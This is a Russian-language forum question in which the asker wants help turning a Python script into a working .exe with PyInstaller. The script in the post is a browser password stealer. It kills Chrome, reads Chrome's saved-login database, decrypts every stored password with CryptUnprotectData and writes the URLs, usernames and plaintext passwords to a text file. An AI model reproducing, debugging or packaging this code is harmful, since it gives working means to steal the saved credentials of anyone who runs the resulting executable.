Я скачал pyinstaller, чтобы превратить мои python сценарии в исполняемую программу. Когда я запускаю свой код как файл python, в третьей строке import win32crypt
появляется только одна ошибка, и он показывает 'error unresolved import 'win32crypt'
, но он работает правильно. Но когда я конвертирую свой скрипт в приложение (файл .exe), он не работает (без сообщения об ошибке). Мой скрипт сделан для копирования из Google Chrome email / пароля и после этого для вставки этой информации в текстовый файл.
Я уже установил pywin32 из консоли с этой командой: pip install pywin32
. \
Это мой код .
import os
import sqlite3
import win32crypt
f= open("logins.txt","w")
def closeChrome():
os.system("taskkill /im chrome.exe /f")
def connectDb():
dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
connectionObj=sqlite3.connect(dBpath)
cursorObj=connectionObj.cursor()
statement="SELECT origin_url,username_value,password_value FROM logins"
cursorObj.execute(statement)
data=cursorObj.fetchall()
for url,username,password in data:
password=win32crypt.CryptUnprotectData(password)
f.write(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(".................................")
closeChrome()
connectDb()
Спасибо:)